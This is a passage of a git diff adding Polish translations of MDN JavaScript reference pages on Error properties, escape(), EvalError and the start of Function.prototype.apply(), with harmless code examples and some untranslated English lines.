id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.11.4.3', 'Error.prototype.message')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-error.prototype.message', 'Error.prototype.message')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("Error.prototype.name")}}</li> + <li>{{jsxref("Error.prototype.toString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/error/name/index.html b/files/pl/web/javascript/referencje/obiekty/error/name/index.html new file mode 100644 index 0000000000..11521ec4fd --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/error/name/index.html @@ -0,0 +1,109 @@ +--- +title: Error.prototype.name +slug: Web/JavaScript/Referencje/Obiekty/Error/name +translation_of: Web/JavaScript/Reference/Global_Objects/Error/name +--- +<div>{{JSRef}}</div> + +<p>Właściwość <code><strong>name</strong></code> reprezentuję nazwę danego typu błędu. Początkową wartością jest "Error".</p> + +<h2 id="Opis">Opis</h2> + +<p>Domyślnie, instancje {{jsxref("Error")}} mają ustawioną nazwę "Error". Właściwość <code>name</code>, razem z właściwością {{jsxref("Error.prototype.message", "message")}}, jest używana przez metodę {{jsxref("Error.prototype.toString()")}} do tworzenia tekstowej reprezentacji obiektu Error.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Rzucanie_ustawionego_błędu">Rzucanie ustawionego błędu</h3> + +<pre class="brush: js">var e = new Error('Malformed input'); // e.name is 'Error' + +e.name = 'ParseError'; +throw e; +// e.toString() would return 'ParseError: Malformed input' +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.11.4.2', 'Error.prototype.name')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-error.prototype.name', 'Error.prototype.name')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("Error.prototype.message")}}</li> + <li>{{jsxref("Error.prototype.toString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/error/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/error/prototype/index.html new file mode 100644 index 0000000000..37cb80c692 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/error/prototype/index.html @@ -0,0 +1,113 @@ +--- +title: Error.prototype +slug: Web/JavaScript/Referencje/Obiekty/Error/prototype +tags: + - Error + - JavaScript + - Właściwość +translation_of: Web/JavaScript/Reference/Global_Objects/Error +--- +<div>{{JSRef}}</div> + +<p>Właściwość <code><strong>Error.prototype</strong></code> reprezentuje prototyp dla konstruktora {{jsxref("Error")}}.</p> + +<div>{{js_property_attributes(0, 0, 0)}}</div> + +<h2 id="Opis">Opis</h2> + +<p>Wszystkie instancje klasy {{jsxref("Error")}} oraz instancje {{jsxref("Global_Objects/Error", "non-generic errors", "#Error_types", 1)}} dziedziczą po <code>Error.prototype</code>. As with all constructor functions, you can use the prototype of the constructor to add properties or methods to all instances created with that constructor.</p> + +<h2 id="Właściwości">Właściwości</h2> + +<h3 id="Właściwości_standardowe">Właściwości standardowe</h3> + +<dl> + <dt><code>Error.prototype.constructor</code></dt> + <dd>Określa funkcję tworzącą instancję prototypu.</dd> + <dt>{{jsxref("Error.prototype.message")}}</dt> + <dd>Wiadomość błędu.</dd> + <dt>{{jsxref("Error.prototype.name")}}</dt> + <dd>Nazwa błędu.</dd> +</dl> + +<h3 id="Rozszerzenia_zależne_od_dostawcy">Rozszerzenia zależne od dostawcy</h3> + +<div>{{non-standard_header}}</div> + +<h4 id="Microsoft">Microsoft</h4> + +<dl> + <dt>{{jsxref("Error.prototype.description")}}</dt> + <dd>Opis błędu. Podobne do {{jsxref("Error.prototype.message", "message")}}.</dd> + <dt>{{jsxref("Error.prototype.number")}}</dt> + <dd>Numer błędu.</dd> +</dl> + +<h4 id="Mozilla">Mozilla</h4> + +<dl> + <dt>{{jsxref("Error.prototype.fileName")}}</dt> + <dd>Ścieżka do pliku, w którym wywołany został wyjątek.</dd> + <dt>{{jsxref("Error.prototype.lineNumber")}}</dt> + <dd>Numer linijki w pliku, która wywołała wyjątek.</dd> + <dt>{{jsxref("Error.prototype.columnNumber")}}</dt> + <dd>Numer znaku w wierszu, w którym został wywołany wyjątek.</dd> + <dt>{{jsxref("Error.prototype.stack")}}</dt> + <dd>Stack trace.</dd> +</dl> + +<h2 id="Metody">Metody</h2> + +<dl> + <dt>{{jsxref("Error.prototype.toSource()")}} {{non-standard_inline}}</dt> + <dd>Zwraca łańcuch znaków zawierający źródło wybranego obiektu {{jsxref("Error")}}; możesz użyć tej. Overrides the {{jsxref("Object.prototype.toSource()")}} method.</dd> + <dt>{{jsxref("Error.prototype.toString()")}}</dt> + <dd>Zwraca ciąg znaków reprezentujący wybrany obiekt. Nadpisuje metodę {{jsxref("Object.prototype.toString()")}}.</dd> +</dl> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Początkowa definicja. Zaimplementowana w JavaScript 1.1.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.11.3.1', 'Error')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-error.prototype', 'Error')}}</td> + <td>{{Spec2('ES6')}}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-error.prototype', 'Error')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność">Kompatybilność</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Error.prototype")}}</p> +</div> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("Error")}}</li> + <li>{{jsxref("Object.prototype")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/error/stack/index.html b/files/pl/web/javascript/referencje/obiekty/error/stack/index.html new file mode 100644 index 0000000000..01c2129f21 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/error/stack/index.html @@ -0,0 +1,127 @@ +--- +title: Error.prototype.stack +slug: Web/JavaScript/Referencje/Obiekty/Error/Stack +tags: + - JavaScript + - Prototyp + - Referencja + - Własność + - niestandardowe +translation_of: Web/JavaScript/Reference/Global_Objects/Error/Stack +--- +<div>{{JSRef}} {{non-standard_header}}</div> + +<p>Niestandardowa własność <strong><code>stack</code></strong> obiektów {{jsxref("Error")}} podaje ścieżkę wywołań funkcji – które z nich były wywołane, w jakiej kolejności, z której linii i pliku, z jakimi argumentami. Stos wywołań zaczyna się od ostatnich wywołań, przez wcześniejsze, prowadząc do pierwotnego wywołania z zakresu globalnego.</p> + +<h2 id="Opis">Opis</h2> + +<p>Każdy krok będzie znajdował się w oddzielnej linii, zawierając w pierwszej części nazwę funkcji (jeśli nie jest to wywołanie z zakresu globalnego), następnie znak <em>at</em> (<code>@</code>), lokalizację pliku (z wyjątkiem sytuacji, w których funkcja jest konstruktorem zgłaszanego błędu), dwukropek oraz numer linii (jeśli zdefiniowana jest lokalizacja pliku). (Zauważ, że obiekt {{jsxref("Error")}} także posiada własności <code>fileName</code>, <code>lineNumber</code> i <code>columnNumber</code>, które można odczytać z danego błędu, jednak jedynie błędu, a nie jego stosu wywołań).</p> + +<p>Należy podkreślić, że opisany wyżej format jest formatem przeglądarki Firefox – nie ma standardu formatowania, jednakże Safari 6+ i Opera 12- używają bardzo podobnego formatu. Przeglądarki używające silnika JavaScript V8 (takie jak Chrome, Opera 15+, Android Browser) oraz IE10+, używają natomiast innego formatu (zobacz <a href="https://web.archive.org/web/20140210004225/http://msdn.microsoft.com/en-us/library/windows/apps/hh699850.aspx">archiwalną dokumentację MSDN dla error.stack</a>).</p> + +<p><strong>Wartości argumentów w stosie:</strong> w wersjach wcześniejszych niż Firefox 14, po nazwie funkcji następowały wartości argumentów przekonwertowane do łańcucha znaków (<em>string</em>) w nawiasach, przed znakiem <em>at</em> (<code>@</code>). Podczas gdy obiekt (lub tablica itp.) pojawia się w przekonwertowanej formie <code>"[object Object]"</code> i nie może być przekonwertowany z powrotem do właściwych obiektów, wartości skalarne mogą być odzyskane (choć być może — w Firefoksie 14 nadal jest to możliwe — łatwiej będzie użyć <code>arguments.callee.caller.arguments</code>, tak jak nazwa funkcji może być uzyskana przez <code>arguments.callee.caller.name</code>). <code>"undefined"</code> jest wylistowany jako <code>"(void 0)"</code>. Zauważ, że jeśli argumenty typu <em>string</em> były przekazane z wartościami takimi jak <code>"@"</code>, <code>"("</code>, <code>")"</code> (lub znaki te występują w nazwach plików), nie możesz polegać po prostu na podzieleniu linii na części składowe – <span class="tlid-translation translation" lang="pl"><span title="">dlatego w Firefoksie 14 i nowszych jest to mniejszy problem<strong>.</strong></span></span></p> + +<p>Różne przeglądarki ustawiają tę wartość w różnych momentach. Przykładowo, Firefox ustawia ją podczas tworzenia obiektu {{jsxref("Error")}}, natomiast PhantomJS ustawia ją jedynie podczas wyrzucania {{jsxref("Error")}} – i <a href="https://web.archive.org/web/20140210004225/http://msdn.microsoft.com/en-us/library/windows/apps/hh699850.aspx">archiwalna dokumentacja MSDN</a> również wydaje się zgadzać z implementacją PhantomJS.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_własności_stack">Użycie własności <code>stack</code></h3> + +<p>Poniższy dokument HTML prezentuje użycie własności <code>stack</code>.</p> + +<pre class="brush: html notranslate"><!DOCTYPE HTML> +<meta charset="UTF-8"> +<title>Stack Trace Example</title> +<body> +<script> +function trace() { + try { + throw new Error('myError'); + } + catch(e) { + alert(e.stack); + } +} +function b() { + trace(); +} +function a() { + b(3, 4, '\n\n', undefined, {}); +} +a('first call, firstarg'); +</script> +</pre> + +<p>Zakładając, że powyższy dokument zapisany jest pod adresem <code>C:\example.html</code> w systemie plików Windows, kod utworzy okno typu <em>alert</em> z następującą treścią:</p> + +<p>W przeglądarce Firefox 30 i późniejszych wersjach, wraz z numerem kolumny:</p> + +<pre class="notranslate"><samp>trace@file:///C:/example.html:9:17 +b@file:///C:/example.html:16:13 +a@file:///C:/example.html:19:13 +@file:///C:/example.html:21:9</samp></pre> + +<p>Od Firefoxa 14 do Firefoxa 29:</p> + +<pre class="notranslate"><samp>trace@file:///C:/example.html:9 +b@file:///C:/example.html:16 +a@file:///C:/example.html:19 +@file:///C:/example.html:21</samp></pre> + +<p>Firefox 13 i wcześniejsze zwróci zamiast tego następujący tekst:</p> + +<pre class="notranslate"><samp>Error("myError")@:0 +trace()@file:///C:/example.html:9 +b(3,4,"\n\n",(void 0),[object Object])@file:///C:/example.html:16 +a("first call, firstarg")@file:///C:/example.html:19 +@file:///C:/example.html:21</samp></pre> + +<h3 id="Stos_ewaluowanego_kodu">Stos ewaluowanego kodu</h3> + +<p>Od Firefoxa 30, stos błędu w wywołaniach <code>Function()</code> i <code>eval()</code> tworzy stos z bardziej szczegółową informacją o linii i kolumnie wewnątrz tych wywołań. Wywołania funkcji są wskazywane przez <code>"> Function"</code>, a eval przez <code>"> eval"</code>.</p> + +<pre class="brush: js notranslate">try { + new Function('throw new Error()')(); +} catch (e) { + console.log(e.stack); +} + +// anonymous@file:///C:/example.html line 7 > Function:1:1 +// @file:///C:/example.html:7:6 + + +try { + eval("eval('FAIL')"); +} catch (x) { + console.log(x.stack); +} + +// @file:///C:/example.html line 7 > eval line 1 > eval:1:1 +// @file:///C:/example.html line 7 > eval:1:1 +// @file:///C:/example.html:7:6 +</pre> + +<p>Możesz także użyć dyrektywy <code>//# sourceURL</code> do nazwania źródła <code>eval</code>. Zobacz też źródła <a href="/en-US/docs/Tools/Debugger/How_to/Debug_eval_sources">Debug eval</a> w dokumentacji <a href="/en-US/docs/Tools/Debugger">Debuggera</a> oraz w <a href="http://fitzgeraldnick.com/weblog/59/">tym artykule</a>.</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<p><span class="pl-s">Nie jest częścią żadnego standardu.</span></p> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<div> +<div> + + +<p>{{Compat("javascript.builtins.Error.stack")}}</p> +</div> +</div> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/en-US/docs/Components.stack">Components.stack</a></li> + <li>Projekty zewnetrzne: <a class="link-https" href="https://github.com/csnover/TraceKit/">TraceKit</a> i <a class="link-https" href="https://github.com/eriwen/javascript-stacktrace">javascript-stacktrace</a></li> + <li>MSDN: <a href="https://web.archive.org/web/20140210004225/http://msdn.microsoft.com/en-us/library/windows/apps/hh699850.aspx">archiwalna dokumentacja error.stack</a></li> + <li><a href="https://github.com/v8/v8/wiki/Stack%20Trace%20API">Przegląd API stosu wywołań w JavaScript V8</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/error/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/error/tosource/index.html new file mode 100644 index 0000000000..f904d26f70 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/error/tosource/index.html @@ -0,0 +1,60 @@ +--- +title: Error.prototype.toSource() +slug: Web/JavaScript/Referencje/Obiekty/Error/toSource +tags: + - JavaScript + - Metodă + - Niestandardowy + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Error/toSource +--- +<div>{{JSRef}} {{non-standard_header}}</div> + +<p>Metoda <code><strong>toSource()</strong></code> zwraca kod, który możemethod returns code that could eval to the same error.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox notranslate"><var>e</var>.toSource()</pre> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Łańcuch znaków (<em>string</em>) zawierający kod źródłowy błędu.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_toSource">Użycie toSource</h3> + +<p>Wywołanie metody <code>toSource</code> instancji {{jsxref("Error")}} (w tym <em><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Error#Error_types">NativeErrors</a></em>) zwróci łańcuch znaków zawierający kod źródłowy błędu. Zwrócony <em>string</em> może być ewaluowany do utworzenia (w przybliżeniu) takiego samego obiektu. Oczywiście ciąg znaków zawierający kod źródłowy jest zgodny ze strukturą konstruktora {{jsxref("Error")}}. Przykładowo:</p> + +<pre class="brush: js notranslate">(<em>newname</em>(<em>message</em>, <em>nazwaPliku</em>, <em>numerLinii</em>)) +</pre> + +<p>gdzie wymienione atrybuty odpowiadają właściwym własnościom instancji błędu.</p> + +<div class="note"> +<p><strong>Uwaga:</strong> należy pamiętać, że własności używanen przez metodę <code>toSource</code> podczas tworzenia tego ciągu znaków są modyfikowalne i mogą nie odzwierciedlać dokładnie funkcji użytej do stworzenia instancji błędu lub nazwy pliku czy numeru linii gdzie wystąpił dany błąd.</p> +</div> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<p>Nie należy do żadnego standardu.</p> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<div> +<div> + + +<p>{{Compat("javascript.builtins.Error.toSource")}}</p> +</div> +</div> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("Error.prototype.fileName")}}</li> + <li>{{jsxref("Error.prototype.lineNumber")}}</li> + <li>{{jsxref("Error.prototype.message")}}</li> + <li>{{jsxref("Error.prototype.name")}}</li> + <li>{{jsxref("Object.prototype.toSource()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/error/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/error/tostring/index.html new file mode 100644 index 0000000000..6b019bc60b --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/error/tostring/index.html @@ -0,0 +1,98 @@ +--- +title: Error.prototype.toString() +slug: Web/JavaScript/Referencje/Obiekty/Error/toString +tags: + - JavaScript + - Metodă + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Error/toString +--- +<div>{{JSRef}}</div> + +<p>Metoda <code><strong>toString()</strong></code> zwraca iąg znaków reprezentujący dany obiekt {{jsxref("Error")}}.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox notranslate"><code><var>e</var>.toString()</code></pre> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Ciąg znaków reprezentujący dany obiekt {{jsxref("Error")}}.</p> + +<h2 id="Opis">Opis</h2> + +<p>Obiekt {{jsxref("Error")}} nadpisuje metodę {{jsxref("Object.prototype.toString()")}} dziedziczoną przez wszystkie obiekty. Jego semantyka jest następująca (przy założeniu, że {{jsxref("Object")}} i {{jsxref("String")}} mają swoje oryginalne wartości):</p> + +<pre class="brush: js notranslate">Error.prototype.toString = function() { + 'use strict'; + + var obj = Object(this); + if (obj !== this) { + throw new TypeError(); + } + + var name = this.name; + name = (name === undefined) ? 'Error' : String(name); + + var msg = this.message; + msg = (msg === undefined) ? '' : String(msg); + + if (name === '') { + return msg; + } + if (msg === '') { + return name; + } + + return name + ': ' + msg; +}; +</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_toString">Użycie toString()</h3> + +<pre class="brush: js notranslate">var e = new Error('fatal error'); +console.log(e.toString()); // 'Error: fatal error' + +e.name = undefined; +console.log(e.toString()); // 'Error: fatal error' + +e.name = ''; +console.log(e.toString()); // 'fatal error' + +e.message = undefined; +console.log(e.toString()); // '' + +e.name = 'hello'; +console.log(e.toString()); // 'hello' +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-error.prototype.tostring', 'Error.prototype.toString')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Error.toString")}}</p> +</div> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("Error.prototype.toSource()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/escape/index.html b/files/pl/web/javascript/referencje/obiekty/escape/index.html new file mode 100644 index 0000000000..06d1d3d2c4 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/escape/index.html @@ -0,0 +1,120 @@ +--- +title: escape() +slug: Web/JavaScript/Referencje/Obiekty/escape +translation_of: Web/JavaScript/Reference/Global_Objects/escape +--- +<div>{{jsSidebar("Objects")}}</div> + +<p>The deprecated <code><strong>escape()</strong></code> function computes a new string in which certain characters have been replaced by a hexadecimal escape sequence. Use {{jsxref("encodeURI")}} or {{jsxref("encodeURIComponent")}} instead.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code>escape(str)</code></pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>str</code></dt> + <dd>A string to be encoded.</dd> +</dl> + +<h2 id="Description">Description</h2> + +<p>The <code>escape</code> function is a property of the <em>global object</em>. Special characters are encoded with the exception of: @*_+-./</p> + +<p>The hexadecimal form for characters, whose code unit value is 0xFF or less, is a two-digit escape sequence: %xx. For characters with a greater code unit, the four-digit format %<strong>u</strong>xxxx is used.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<pre class="brush: js">escape("abc123"); // "abc123" +escape("äöü"); // "%E4%F6%FC" +escape("ć"); // "%u0107" + +// znaki specjalne +escape("@*_+-./"); // "@*_+-./"</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-B.2.1', 'escape')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td>Defined in the (informative) Compatibility Annex B</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-escape-string', 'escape')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Defined in the (normative) Annex B for Additional ECMAScript Features for Web Browsers</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("encodeURI")}}</li> + <li>{{jsxref("encodeURIComponent")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/evalerror/index.html b/files/pl/web/javascript/referencje/obiekty/evalerror/index.html new file mode 100644 index 0000000000..6fd39a8789 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/evalerror/index.html @@ -0,0 +1,87 @@ +--- +title: EvalError +slug: Web/JavaScript/Referencje/Obiekty/EvalError +tags: + - EvalError + - JavaScript + - Klasa + - Obiekt + - Referencja +translation_of: Web/JavaScript/Reference/Global_Objects/EvalError +--- +<div>{{JSRef}}</div> + +<p>Obiekt <strong><code>EvalError</code></strong> wskazuje na błąd dotyczący globalnej funkcji {{jsxref("Global_Objects/eval", "eval()")}}. Ten wyjątek nie jest już wywoływany przez JavaScript, jednak obiekt <code>EvalError</code> został zachowany ze względu na kompatybilność wsteczną.</p> + +<h2 id="Konstruktor">Konstruktor</h2> + +<dl> + <dt><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/EvalError/EvalError"><code>EvalError()</code></a></dt> + <dd>Tworzy nowy obiekt <code>EvalError</code>.</dd> +</dl> + +<h2 id="Własności_instancji">Własności instancji</h2> + +<dl> + <dt>{{jsxref("Error.prototype.message", "EvalError.prototype.message")}}</dt> + <dd>Treść błędu. Choć ECMA-262 określa, że {{jsxref("EvalError")}} powinien mieć swoją własną wartość <code>message</code>, w <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> jest ona dziedziczona z {{jsxref("Error.prototype.message")}}.</dd> + <dt>{{jsxref("Error.prototype.name", "EvalError.prototype.name")}}</dt> + <dd>Nazwa błędu. Dziedziczone z {{jsxref("Error")}}.</dd> + <dt>{{jsxref("Error.prototype.fileName", "EvalError.prototype.fileName")}}</dt> + <dd>Ścieżka do pliku, w którym został wywołany błąd. Dziedziczone z {{jsxref("Error")}}.</dd> + <dt>{{jsxref("Error.prototype.lineNumber", "EvalError.prototype.lineNumber")}}</dt> + <dd>Numer linii w pliku, gdzie został wywołany błąd. Dziedziczone z {{jsxref("Error")}}.</dd> + <dt>{{jsxref("Error.prototype.columnNumber", "EvalError.prototype.columnNumber")}}</dt> + <dd>Kolumna w linii, gdzie został wywołany błąd. Dziedziczone z {{jsxref("Error")}}.</dd> + <dt>{{jsxref("Error.prototype.stack", "EvalError.prototype.stack")}}</dt> + <dd>Stos wywołań. Dziedziczone z {{jsxref("Error")}}.</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<p><code>EvalError</code> nie jest używany w obecnej specyfikacji ECMAScript, zatem nie będzie wywoływany podczas wykonania programu – jednakże sam obiekt został zachowany ze względu na wsteczną kompatybilność z wcześniejszymi wersjami specyfikacji.</p> + +<h3 id="Tworzenie_EvalError">Tworzenie EvalError</h3> + +<pre class="brush: js notranslate">try { + throw new EvalError('Hello', 'someFile.js', 10); +} catch (e) { + console.log(e instanceof EvalError); // true + console.log(e.message); // "Hello" + console.log(e.name); // "EvalError" + console.log(e.fileName); // "someFile.js" + console.log(e.lineNumber); // 10 + console.log(e.columnNumber); // 0 + console.log(e.stack); // "@Scratchpad/2:2:9\n" +} +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-evalerror', 'EvalError')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<div> +<div> + + +<p>{{Compat("javascript.builtins.EvalError")}}</p> +</div> +</div> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("Error")}}</li> + <li>{{jsxref("Global_Objects/eval", "eval()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/function/apply/index.html b/files/pl/web/javascript/referencje/obiekty/function/apply/index.html new file mode 100644 index 0000000000..411b47423a --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/function/apply/index.html @@ -0,0 +1,289 @@ +--- +title: Function.prototype.apply() +slug: Web/JavaScript/Referencje/Obiekty/Function/apply +translation_of: Web/JavaScript/Reference/Global_Objects/Function/apply +--- +<div>{{JSRef}}</div> + +<p>Metoda <code>apply()</code> wywołuje daną funkcję podstawiając daną wartość <code>this</code> i argumenty <span id="result_box" lang="pl"><span>przedstawione</span> <span>w postaci tablicy</span></span> (lub obiektu tablicopodobnego (<a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">array-like object</a>)).</p> + +<div class="note"> +<p><strong>Notka:</strong> <span id="result_box" lang="pl"><span>Składnia</span> <span>tej funkcji jest</span> <span>niemal identyczna </span><span>do</span></span> {{jsxref("Function.call", "call()")}}, podstawową różnicą jest to, iż <code>call()</code> przyjmuje <strong>listę argumentów</strong>, podczas gdy <code>apply()</code> akceptuje <strong>pojedynczą tablicę 